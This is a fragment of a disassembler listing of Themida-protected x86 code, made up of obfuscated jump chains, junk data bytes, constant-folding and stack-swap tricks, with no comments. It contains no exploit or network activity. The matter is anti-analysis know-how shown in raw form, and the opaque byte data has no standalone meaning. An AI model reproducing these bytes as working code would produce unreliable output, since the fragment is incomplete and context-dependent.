		dd 8B04C483h, 0C481240Ch, 4, 31240433h,	2E92404h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558267:				; CODE XREF: Themida_:0056132Bj
		push	ecx
		jmp	loc_556A81
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0D9h
		dd 0C130B64Ch, 525703E5h, 0ED79A7BAh, 0D6EA8122h, 0E90B2466h
		dd 0FFFFE642h
; ---------------------------------------------------------------------------

loc_558288:				; CODE XREF: Themida_:00552029j
		push	esi
		push	eax
		push	5E9000F3h
		mov	eax, [esp]
		jmp	loc_552D2F
; ---------------------------------------------------------------------------
aNs_0		db '­é"ś',0
		dd 242C8B00h, 8704C483h, 0F7EF87FEh, 87EF87D5h,	92B68FEh
		dd 0C890000h, 0A3BB5324h, 68267543h, 7A315E9Eh,	18E95059h
		dd 8000002Bh, 0D1F6EBC9h, 3096C180h, 240C8BCAh,	4C481h
		dd 0C2800000h, 5AD130DFh, 0D4A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5582E5:				; CODE XREF: Themida_:00556568j
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54505824h, 40558h, 0BB530000h, 4, 0BA525753h, 6C12336Ch
		dd 0A6468h, 24148900h, 0B00EA0BAh, 81D2F737h, 0B550D9EAh
		dd 0F856E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55831E:				; CODE XREF: Themida_:00551C05j
		add	esp, 4
		push	6CBBh
		mov	[esp], edx
		push	eax
		mov	eax, 72260215h
		jmp	loc_551EA3
; ---------------------------------------------------------------------------
		db 80h
		dd 8B0444EAh, 7B04552Ch, 7B2CD000h, 8B2C5504h, 0E924148Bh
		dd 0FFFFCA51h, 8705EFC1h, 87D5F7EFh, 8EF81EFh, 0E9CDAEE4h
		dd 0FFFFC8FEh, 50243C8Bh, 0BD55E089h, 61E7982h,	245FBB53h
		dd 0DD312557h, 470BE9h,	8BFA0100h, 0C481243Ch, 4, 4BE56h
		dd 0EA810000h, 33F71A71h, 38A1EA81h, 16E924AEh,	81000042h
		dd 4C4h, 4EC8300h, 0B8240489h, 5CBC2813h, 5425E9h
		db 0
; ---------------------------------------------------------------------------

loc_5583B5:				; CODE XREF: Themida_:0055358Fj
		pop	esi
		push	esi
		mov	esi, 547E2DC7h
		inc	esi
		jmp	loc_564C09
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 84BDBFBEh, 315DEF29h, 243C8BFAh, 8304C483h, 3C8904ECh
		dd 89685124h, 8B165D08h, 0C483240Ch, 0D9F74904h, 98685357h
		dd 5B410E59h, 621FEB81h, 0B7E9576Bh, 5C000044h,	0E9241C89h
		dd 95D3h, 0C7E9535Bh, 89FFFF91h, 0BB532404h, 0F581DE4h
		dd 581DE6B8h, 5BD8290Fh, 34FFC601h, 10EFE924h, 0C6810000h
		dd 3FFD3B1Eh, 49A9E9h, 0D1016600h, 8124148Bh, 4C4h, 0C63FE900h
		dd 0EB010000h, 1333EB81h, 895D2A1Ch, 0F8215BDFh, 0E92434FFh
		dd 0FFFFFF0Ch, 0E95FFA29h, 0ACC4h
; ---------------------------------------------------------------------------

loc_558460:				; CODE XREF: Themida_:00554493j
		pop	ecx
		jmp	loc_557971
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 7BE95E24h, 57FFFFE5h, 4BFh, 5FFB0100h, 5C241C87h, 0BC62E9h
		db 0
; ---------------------------------------------------------------------------

loc_558481:				; CODE XREF: Themida_:00552EC5j
		pop	esi
		jmp	loc_55BB44
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFDF31E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55848D:				; CODE XREF: Themida_:00565513j
		pop	edx
		jmp	loc_55E25F
; ---------------------------------------------------------------------------
		db 55h
		dd 3F3FBB53h, 0DBF7726Fh, 0C104E3C1h, 0EB8107E3h, 584131F7h
		dd 0FF90F381h, 0DD89320Ah, 97B2E9h, 1C875800h, 24248B24h
		dd 39E95251h, 800000D6h, 0F380A6CBh, 0D9EB80A6h, 8920E9h
		db 0
; ---------------------------------------------------------------------------

loc_5584D1:				; CODE XREF: Themida_:00558814j
		mov	edi, 4308092Ah
		sub	eax, edi
		pop	edi
		add	eax, 2FA0606h
		or	eax, 54532FC4h
		sub	eax, 4C246C3Ch
		push	eax
		jmp	loc_5521B0
; ---------------------------------------------------------------------------
		dw 489h
		dd 6E59B824h, 0F7915D8Fh, 0F74091D1h, 6E8C1D0h,	670E4C35h
		dd 8E26E908h, 47B70000h, 0E90DCF80h, 0FFFFF82Dh, 38D7BD55h
		dd 0CD812DC6h, 2C4A628Ah, 1A3C581h, 0B9511FB2h,	626E3684h
		dd 8102E1C1h, 804888E9h, 0F741411Ah, 9EC181D9h,	18D14B1h
		dd 0A9E959CDh, 8100005Dh, 550E66EEh, 0D250E966h, 0C483FFFFh
		dd 4C48104h, 87000000h,	895C2404h, 4DE92424h, 68FFFFC9h
		dd 5A00h, 0E9240489h, 0FFFFD603h, 37FB68h, 0F42DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55857E:				; CODE XREF: Themida_:005557F7j
		add	edx, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 25E963FAh
		jmp	loc_560111
; ---------------------------------------------------------------------------
		db 29h
		dd 0FB895AD7h, 0FFCE52E9h, 0E68956FFh, 4C681h, 80E90000h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5585AB:				; CODE XREF: Themida_:00557D3Cj
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_55B6E9
; ---------------------------------------------------------------------------

loc_5585B6:				; CODE XREF: Themida_:00551B98j
		push	ecx
		push	ebp
		jmp	loc_556A26
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 502104BEh, 5EF5314Ah, 875DEB01h, 0FF5C241Ch,	0E99C240Ch
		dd 0FFFFE717h, 8102EBC1h, 0BD32F1C3h, 0CDC38142h, 8105E32Ch
		dd 5A7124F3h, 5BD8291Ah, 0BDDE9h, 0D1895100h, 5A59CF89h
		dd 4EE9F989h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558603:				; CODE XREF: Themida_:00552511j
		push	edi
		mov	edi, 4
		jmp	loc_553217
; ---------------------------------------------------------------------------
		dw 8AB3h
		dd 2DE9D3F6h, 31FFFFADh, 3C33243Ch, 5BE95C24h, 89FFFFE0h
		dd 7723E9E2h, 0FF680000h, 0E975F13Ch, 0FFFFCDDEh, 0BB53D101h
		dd 2F27400Dh, 23CB81h, 0C381258Dh, 2D5C4C3Eh, 5817E9h
		dd 81C22900h, 0EC22ABEAh, 24048B21h, 4C481h, 73E90000h
		dd 8B000099h, 0FF662424h, 0E99C2404h, 0FFFF7DB0h, 0FE58C628h
		dd 0CEE680C6h, 5104EEC0h, 0CE0011B1h, 0A2EB8059h, 0C380F300h
		dd 0C3005AA2h, 0FFF522E9h, 2CF800FFh, 0E9EB2CA1h, 0FFFF986Fh
		dd 4EF815Ch, 81000000h,	4ECh, 243C8900h, 42474FFh, 24048F5Fh
		dd 8924248Bh, 6768243Ch, 8B19D310h, 0C483243Ch,	0D506804h
		dd 0CCE90000h, 0FF000022h, 575E2434h, 0C781E789h, 4, 8704EF83h
		dd 0E95C243Ch, 0AFF8h, 4EC815Ch, 89000000h, 0BD552434h
		dd 72172299h, 0FF8CB2E9h, 0A8B252FFh, 81D38853h, 4ECh
		dd 240C8900h, 0FEE9DD88h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558713:				; CODE XREF: Themida_:00559298j
		mov	edi, [esp]
		jmp	loc_564CCC
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 0B3EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558726:				; CODE XREF: Themida_:00558F06j
		mov	edi, 3A611FC0h
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_564C8F
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 68h
		dd 81191837h, 63C896C1h, 0F0ED81E6h, 110C96Eh, 0F0C581CDh
		dd 5910C96Eh, 4EC81h, 4890000h,	2B4F6824h, 14890000h, 624CBA24h
		dd 0EC831BCAh, 241C8904h, 44057EBBh, 0DAE94B3Fh, 89000008h
		dd 0C9E95AD5h, 680000C1h, 4F47h, 0BB241C89h, 7DDF7392h
		dd 0F705EBC1h, 2E3C1DBh, 8622E9h, 2CE6800h, 9CE90000h
		dd 89FFFF8Fh, 43BD242Ch, 29035D04h, 0EC815DEEh,	4, 53240489h
		dd 6A5428BBh, 0E9D88931h, 0A3D0h, 8B241433h, 0C80F2424h
		dd 0D3ACE9h, 4C48300h, 81E38953h, 4C3h,	0FC8DE900h, 0F089FFFFh
		dd 8324348Bh, 37E904C4h, 580000A7h, 29C0E9h, 2C58100h
		dd 58613967h, 31242C33h, 6DE9242Ch, 51000012h, 977CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55880D:				; CODE XREF: Themida_:005603FBj
		push	eax
		mov	eax, 656215B3h
		push	edi
		jmp	loc_5584D1
; ---------------------------------------------------------------------------
		db 68h,	45h, 71h
		dd 525B2978h, 6C7CA9BAh, 5C3FE918h, 0EEC10000h,	0F6814608h
		dd 428CD88Ch, 0E95EF201h, 0FFFF98D0h, 4C4835Fh,	148BD129h
		dd 2A7CE924h, 34FF0000h
		db 24h,	5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555B63
; ---------------------------------------------------------------------------
		dd 0D34B3D68h, 0CE95F23h, 59FFFFA2h, 0FD2CD828h, 0CE9B22Ch
		dd 0B2000056h, 51C2803Ah, 9F86E9h, 2C48300h, 0B151D800h
		dd 59C828D2h, 0E3E9A804h, 83FFFFD4h, 0E381FFEBh, 4C510CC8h
		dd 8107EBC1h, 7A5D3BC3h, 5E3C138h, 6C4CC381h, 17E9715Ah
		dd 0FE000042h, 0E99C240Ch, 0FFFF7B68h
; ---------------------------------------------------------------------------

loc_5588B8:				; CODE XREF: Themida_:00554D1Bj
		sub	eax, 77F73BF3h
		not	eax
		sub	eax, 1719DBF7h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		sub	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5569D7
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 7
		dd 0E9190D31h, 0FFFFE59Eh, 5C243C87h, 1BB535Fh,	29000000h
		dd 0AA685BDAh, 89000055h, 14F72414h, 71A7E924h,	8B660000h
		dd 0C483240Ch, 0D16E902h, 0C4830000h, 0EC835D04h, 241C8904h
		dd 0C763C5BBh, 5EBC10Ch, 653BCB81h, 0BA521535h,	37E01853h
		dd 1C37E9h, 242C8900h, 3458CDBDh, 0AFCD8171h, 520EE326h
		dd 51E5E9h, 2FBF5700h, 0E9159A08h, 3A19h, 0E9243433h, 31FFh
		dd 0E905EDC1h, 0FFFF966Bh, 0E953D8B7h, 0FFFFDF84h, 66031ABEh
		dd 5EF72962h, 684FEFD1h, 32A8h,	0E9243C89h, 0FFFF88BAh
		dd 384A5DB8h, 8BC3011Ch, 0C4812404h, 4,	0EB81D301h, 1C384A5Dh
		dd 3AC3815Ah, 29036577h, 3AEB81C3h, 68036577h, 29B9h, 0B9240C89h
		dd 2A174D38h, 0EFE952h,	248B0000h, 0E3895324h, 4C381h
		dd 56550000h, 2D3D41BEh, 5EF58916h, 0D1F7CD87h,	5150CD87h
		dd 80EA668h, 8B515914h,	0C4812404h, 4, 0FFDDE9E9h, 1C77FFFFh
		dd 6659669Dh, 9C2414D3h, 3BC5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5589FD:				; CODE XREF: Themida_:00561B3Dj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C3FC
; ---------------------------------------------------------------------------
aDzGhia		db '˝„Z',0Dh,'ghëa',0
		align 2
		dw 1C89h
		dd 3045BB24h, 0DBF70C0Dh, 0A619E943h, 0E9510000h, 0FFFFE209h
		dd 0E981F101h, 799655FDh, 0C1E1D15Eh, 0B6806E9h, 8900000Fh
		dd 0F4682434h, 89000059h, 0EC83240Ch, 24348904h, 285C5668h
		dd 0BF575E55h, 38F17290h, 0A292E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558A5E:				; CODE XREF: Themida_:00561D0Dj
		add	ah, 45h
		sub	bl, ah
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		push	5132h
		mov	[esp], ebp
		jmp	loc_555DC2
; ---------------------------------------------------------------------------
		dd 3659E181h, 0E1C163DBh, 0C1D1F702h, 0D1F705E1h, 8C05E955h
		dd 36BEFFFFh, 8149EF7Eh, 3154CC6h, 5BE3E93Bh, 0D1010000h
		dd 4C1835Ah, 9C63E9h, 71E95000h, 5C0000C2h, 56B268h, 241C8900h
		dd 83D6852h, 148B39C3h,	4C48124h, 0C1000000h, 0BF5707EAh
		dd 73860Ch, 815FFA29h, 4ECh, 0C6D5E900h, 1C89FFFFh, 0AB85024h
		dd 35508004h, 35D86D95h, 34FFC389h, 89525824h, 0C11AE9E2h
		dd 0E9520000h, 0FFFFFB23h, 6F0682B8h, 0CFF5016h, 78E95824h
		dd 8100004Fh, 0E514A4C2h, 81EA2971h, 0E514A4EAh, 0D6895D71h
		dd 9C68515Ah, 0E9218B3Eh, 0A0DEh
; ---------------------------------------------------------------------------

loc_558B2C:				; CODE XREF: Themida_:00564629j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563068
; ---------------------------------------------------------------------------
		db 51h
		dd 6C43D2B9h, 0F7D1F763h, 0BEC981D9h, 0C10DD246h, 0F18103E9h
		dd 34C376Dh, 8959C801h,	0FE2958C7h, 0E9243C8Bh,	1968h
		dd 0C21AF4B8h, 8BC531ADh, 0C4812404h, 4, 0FF919AE9h, 1C77FFFFh
		dd 0D259669Dh, 0E99C241Ch, 0FFFF7898h, 4BAh, 24540100h
		dd 9545E904h, 0D5010000h, 0EB89535Ah, 2EE9DF89h, 1FFFFA0h
		dd 0CAEE81CEh, 5921F30Fh, 7CE95755h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_558BB3:				; CODE XREF: Themida_:005601FCj
		mov	esi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_55E2DE
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 3436E9h, 0ECE95500h,	8100003Ch, 0E0082444h, 290BC843h
		dd 8108244Ch, 0E008246Ch, 590BC843h, 4244401h, 4244481h
		dd 66D512FFh, 4246C81h,	2B964049h, 44D5E958h, 14890000h
		dd 0ED49E924h, 15DFFFFh, 0BD5559C8h, 4,	0B243E9h, 24248B00h
		dd 840FC009h, 0C5ABh, 0FF1C77FFh, 0C8B2434h, 4C48324h
		dd 0FFCDACE9h, 0C1D8F7FFh, 0B56804E8h, 8900004Eh, 6ABD242Ch
		dd 813F646Bh, 0A0051F5h, 0F5814D07h, 380B23h, 90B7E94Dh
		dd 0DAF70000h, 77F4F281h, 0EAC14539h, 8E2C104h,	8102EAC1h
		dd 0E05484C2h, 8BD001C4h, 0C4832414h, 0EC815304h, 4, 0E9243489h
		dd 405Dh, 0FF2434FFh, 535F2434h, 0C381E389h, 4,	8704C383h
		dd 565C241Ch, 0C681E689h, 4, 4C681h, 34870000h,	5B5BE924h
		dd 515D0000h, 4B9h, 8BC82900h, 0C481240Ch, 4, 2F1DE9h
		dd 52E95800h, 0BE000087h, 4, 835EF101h,	0C8704C1h, 8C5BE924h
		dd 0C8B0000h, 0AE81E924h, 0BB53FFFFh, 10852FADh, 6DC5B850h
		dd 0C281503Bh, 21EC22ABh, 0FFF938E9h, 0E9EA80FFh, 0FFB0F8E9h
		dd 5EF589FFh, 4246C01h,	0FFD619E9h, 78E95BFFh, 0C100009Dh
		dd 0BD5508E6h, 547F7AC4h, 68D5F74Dh, 6AF0h, 55240C89h
		dd 7F6F6668h, 242C8B54h, 4C481h, 81E90000h, 81000044h
		dd 4C4h, 3C335B00h, 243C3124h, 0E9243C33h, 0FFFFC578h
		dd 0BE56E389h, 47C62EFBh, 96AEE94Eh, 0BA520000h, 6136A5Dh
		dd 0FFB4C7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558D85:				; CODE XREF: Themida_:0055DD45j
		push	ebx
		push	ebp
		push	0C37649h
		jmp	loc_5638B9
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C2h
		dd 1671463Bh, 0E950DA01h, 0FFFFDBBEh, 66F28142h, 893D726Fh
		dd 0B14BE9D0h, 0CF810000h, 3F783C8Dh, 0A587EF81h, 0FA898429h
		dd 0CA814A5Fh, 65550367h, 0FFC681E9h, 2953BFFFh, 0CF8111D2h
		dd 25A26C9Ch, 1A3EBA52h, 0D7291C65h, 7FBE9h, 81F70100h
		dd 2C1E4FEFh, 0B7C78158h, 0E90E0F27h, 0FFFFD47Ah
; ---------------------------------------------------------------------------

loc_558DF4:				; CODE XREF: Themida_:00560EE2j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_555059
; ---------------------------------------------------------------------------
		db 0BAh, 0FDh, 9Eh
		dd 0D5E9F13Eh, 2C000015h, 0A1B3536Dh, 5CB55166h, 0FFA57CE9h
		dd 0AD685CFFh, 8900004Fh, 50E92414h, 8BFFFFFAh,	0F9682404h
		dd 8900004Bh, 71E9242Ch, 0C100002Eh, 0BC2D04E0h, 187E7F0h
		dd 32ACE9C2h, 0C4810000h, 4, 0E9241C87h, 46Ch, 2D35CA81h
		dd 0E94A5238h, 17ACh, 0BE565B59h, 26A31FDCh, 0FFCFB8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558E69:				; CODE XREF: Themida_:0055BA65j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 399955A6h
		push	ebp
		mov	ebp, 399955A2h
		add	ebx, 49772895h
		sub	ebx, ebp
		sub	ebx, 49772895h
		pop	ebp
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55C9F5
; ---------------------------------------------------------------------------
		dd 805BFD30h, 0C580FFC5h, 59E830CBh, 179EE9h
		db 0
; ---------------------------------------------------------------------------

loc_558EE5:				; CODE XREF: Themida_:00555D31j
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dw 1489h
		dd 8291E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558EF2:				; CODE XREF: Themida_:0055E8EFj
		add	esp, 4
		push	edi
		mov	edi, 2
		sub	eax, 3A611FC0h
		add	eax, edi
		push	edi
		jmp	loc_558726
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 5247h, 68241C89h,	546Dh, 83242489h, 5B042404h
		dd 68505352h, 67660214h, 0E3E0D58h, 0BD55576Dh,	5AC12C3h
		dd 4B1EE9h, 0DBEF8100h,	21706985h, 3BE95FFDh, 68FFFFEFh
		dd 1C69h, 0FF81DCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558F55:				; CODE XREF: Themida_:0055610Aj
		sub	edi, 8296AB4h
		sub	edi, 5B2E6745h
		sub	edi, 0DD23936Ch
		jmp	loc_55288C
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFAA3CE9h, 240C89FFh, 21D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_558F7D:				; CODE XREF: Themida_:005598EDj
		mov	ebp, 4B6018FFh
		dec	ebp
		jmp	loc_55A206
; ---------------------------------------------------------------------------
aLSas		db '‹$$頙',0
		align 10h
		dd 0EC9ABD55h, 0EE29FB9Bh, 0F7DEF75Dh, 32EE81DEh, 0E9401210h
		dd 0B387h, 55243C8Bh, 5906E9h, 2434FF00h, 0E92434FFh, 9DF5h
		dd 3592BE56h, 0C6810B5Eh, 6C694E63h, 8103E6C1h,	194ADECEh
		dd 81DEF731h, 0C2A006F6h, 8BF00140h, 20E92434h,	80FFFF98h
		dd 0FEE998EAh, 81FFFFE3h, 4C4h,	0D6BD5500h, 87359660h
		dd 0E9D1F7CDh, 0BF79h
; ---------------------------------------------------------------------------

loc_559000:				; CODE XREF: Themida_:00557ACAj
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_561E14
; ---------------------------------------------------------------------------
		db 83h
		dd 0C4E904C4h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559017:				; CODE XREF: Themida_:00555FB8j
		push	edx
		push	eax
		push	5E2C1D39h
		jmp	loc_55A495
; ---------------------------------------------------------------------------
		db 54h
		dd 4C3815Bh, 81000000h,	4EBh, 241C8700h, 8FF3E9h
		db 0
; ---------------------------------------------------------------------------

loc_559039:				; CODE XREF: Themida_:00554EF3j
		not	ecx
		sub	ecx, 4043C71Bh
		jmp	loc_552E76
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0C9FFE9h, 4FCB8100h, 8152CA54h, 3F331EBh
		dd 5BDA3164h, 7CE9D089h, 89000024h, 4C581E5h, 81000000h
		dd 4EDh, 242C8700h, 242C895Ch, 2434FF54h, 0B7E9575Dh, 5000004h
		dd 4, 0FF886BE9h, 5FFE01FFh, 1D17C681h,	0C601407Eh, 687ABF57h
		dd 0DFF77C53h, 4287C781h, 0F78134E5h, 5C215D6h,	4D3CC781h
		dd 0FFE9832Ah, 8B00008Ch, 0C483240Ch, 6FE95604h, 500000CAh
		dd 42474FFh, 24048F58h,	66E5285Ch, 0B6525358h, 29E68002h
		dd 6602EC83h, 0B3241C89h, 80CBFE83h, 81E9BCC3h,	0D0000BFh
		dd 4DCC6032h, 8A25E956h, 7B68FFFFh, 89000049h, 0C1682414h
		dd 89000058h, 0B2522404h, 4CE280FDh, 0D005E2C0h, 80DAF6EAh
		dd 75E983F2h, 53FFFF93h, 490DFABBh, 5BDE8909h, 0FFFFEE81h
		dd 0C683FFFFh, 2BE68101h, 5210AC20h, 0FF8433E9h, 0F1EA81FFh
		dd 0E971CB4Fh, 0FFFFA9F2h, 0FF244729h, 80E92434h, 5B00002Ah
		dd 5C240487h, 0E959E830h, 5C4h,	4393C381h, 63E9756Ch, 5A0000A1h
		dd 241C8B66h, 2C481h, 0D8000000h, 8EB65253h, 884AF680h
		dd 0EB805AF3h, 0E9A32C12h, 8053h, 2E66E95Dh, 0C4830000h
		dd 0C8AE904h, 895C0000h, 74FF240Ch, 8F590424h, 248B2404h
		dd 0BB0F6624h, 0E99C2404h, 0FFFF726Ch, 85E3BE56h, 0F02901D0h
		dd 58C5315Eh, 2BCEE952h, 81590000h, 1547FFEAh, 0C62AE91Dh
		dd 9805FFFFh, 0C178C84Bh, 0ABE904E8h, 89FFFFE3h, 3414E9E7h
		dd 77FF0000h, 0E8E1E92Ch, 0E5D1FFFFh, 5A4E956h,	0EF830000h
		dd 91CF81FFh, 47328F2Ch, 8B2EE94Fh, 68580000h, 7C19h, 0BD242C89h
		dd 43F565F3h, 0FFEF3BE9h, 4C483FFh, 0FFB45CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559221:				; CODE XREF: Themida_:005558EBj
		add	esi, eax
		jmp	loc_55FB67
; ---------------------------------------------------------------------------
		dd 241C895Ch, 0FF8EF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559231:				; CODE XREF: Themida_:0055B11Cj
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_55C8B9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 72EFE924h,	0D101FFFFh, 0FFDFE5E9h,	85ED81FFh
		dd 11AD5C6h, 0B9515DE8h, 67FF6107h, 0E959CD01h,	0B7DCh
		dd 242C895Ch, 0C5815D54h, 4, 0FFE90CE9h, 4C481FFh, 81000000h
		dd 4ECh, 9FC3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559296:				; CODE XREF: Themida_:0055B27Ej
		mov	edx, edi
		jmp	loc_558713
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F6h
		dd 2966C774h, 0A74E9F0h, 0D0010000h, 5B18932Dh,	6EBF5713h
		dd 0E968B468h, 174Ch, 8924248Bh, 0E189240Ch, 18CABA52h
		dd 0F2816BFAh, 754118A0h, 9FBB850h, 0A3E97527h,	68FFFFE6h
		dd 6672h, 57242C89h, 7F23F4BFh,	23F0BD22h, 0FD31227Fh
		dd 2F61E95Fh, 0C7810000h, 4, 5C243C87h,	2823EB80h, 23C380C3h
		dd 0E924048Bh, 9E66h, 6659CB29h, 1D1B6851h, 4890000h, 8410E924h
		dd 3C87FFFFh, 24248B24h, 9CC88566h, 0FF70EFE9h,	4EE81FFh
		dd 87000000h, 895C2434h, 0BE2434h, 56000000h, 81242C81h
		dd 8B79A73Eh, 0C483241Ch, 0DB10E904h, 0D5F7FFFFh, 2C8FED81h
		dd 0CD814FD4h, 59CF00BFh, 8288E9h, 1BF9BE00h, 0DEF766A2h
		dd 0E6C1DEF7h, 74EE8107h, 8905E291h, 0B1A7E9F2h, 0D0F6FFFFh
		dd 6B2E9h
		db 0
; ---------------------------------------------------------------------------

loc_559389:				; CODE XREF: Themida_:005511F3j
		pop	eax
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5519E9
; ---------------------------------------------------------------------------
		dd 205h, 6DB0E900h, 0EB810000h,	9CC6ED6h, 0FFE19FE9h, 241C89FFh
		dd 0DA0C52BBh, 0E9DD2109h, 0FFFFF965h, 0BB241C89h, 21CF1533h
		dd 0FFA2F6E9h, 24048FFFh, 2097E9h, 3C77FF00h, 0B9E953h
		dd 48F0000h, 24048324h,	24048B04h, 504C483h, 4,	0C2FFE953h
		dd 0ED81FFFFh, 4, 0E9242C87h, 1E0Fh, 77C26856h,	348B0BDAh
		dd 4C48124h, 0C1000000h, 79E902EEh, 5BFFFFE1h, 4C481h
		dd 34FF0000h, 0C4835924h, 24148704h, 0FFE898E9h, 148B66FFh
		dd 19E95024h, 8300002Ah, 0ACE904C4h, 68FFFFA0h,	76EFh
		dd 53243489h, 4BBh, 0E9DE8900h,	3671h, 7424BF57h, 5EE95873h
		dd 66FFFF8Ch, 68240C8Bh, 141Bh,	54243C89h, 9E22E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55947A:				; CODE XREF: Themida_:005521BCj
		sub	edx, 107B1CE6h
		add	edx, esi
		add	edx, 107B1CE6h
		add	edx, 72B07B56h
		pop	esi
		push	edi
		sub	esp, 4
		jmp	loc_5511E4
; ---------------------------------------------------------------------------
		db 0BBh
		dd 29760E7Bh, 4245C29h,	2434FF5Bh, 0FFDAA8E9h, 0E18951FFh
		dd 4C181h, 0C1810000h, 4, 8B240C87h, 0E9532424h, 0FFFF8540h
		dd 5C243C87h, 0FF9415E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5594D1:				; CODE XREF: Themida_:00557979j
		push	esp
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_55B546
; ---------------------------------------------------------------------------
		db 42h,	0E9h, 3Bh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5594E7:				; CODE XREF: Themida_:005644F3j
		sub	ebx, ecx
		add	ebx, 7A659F2h
		pop	ecx
		push	small word ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dd 50E9D001h, 81FFFF8Eh, 3B7708E7h, 6EFC160h, 0E933EF81h
		dd 0FB31B171h, 0FF8848E9h, 806858FFh, 0E9000029h, 0FFFF7382h
		dd 1B7CEF81h, 0C7011E5Dh, 1B7CC781h, 57581E5Dh,	42474FFh
		dd 5F2434FFh, 0CAF4E950h, 0E789FFFFh, 4C781h, 0C7810000h
		dd 4, 2474FF57h, 48F5F04h, 72A5E924h, 0E9800000h, 0E10058F1h
		dd 807CC180h, 41E9DEE9h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55956B:				; CODE XREF: Themida_:00552899j
		push	ebp
		mov	ebp, 60B16ABBh
		add	ebp, 6721241Bh
		not	ebp
		push	ecx
		mov	ecx, 45FA190Ah
		jmp	loc_5511CB
; ---------------------------------------------------------------------------
		dd 5C243C87h, 4516E9h
		db 0
; ---------------------------------------------------------------------------

loc_55958D:				; CODE XREF: Themida_:0055A6ECj
		pop	dx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5599D8
; ---------------------------------------------------------------------------
		dw 0EE05h
		dd 110AB09h, 9EE2DD0h, 0EC2D10ABh, 0FF631536h, 52E92434h
		dd 8100007Ah, 4C2h, 4C28100h, 0E9000000h, 8A87h
; ---------------------------------------------------------------------------

loc_5595C8:				; CODE XREF: Themida_:00557E4Fj
		mov	[esp], ebx
		mov	bh, 0BBh
		xor	al, bh
		pop	ebx
		push	ecx
		push	ebx
		mov	bl, 0F2h
		and	bl, 1Ah
		jmp	loc_564A15
; ---------------------------------------------------------------------------
		dd 81DFF75Ah, 0B06185EFh, 702FE986h
		db 2 dup(0)
; ---------------------------------------------------------------------------

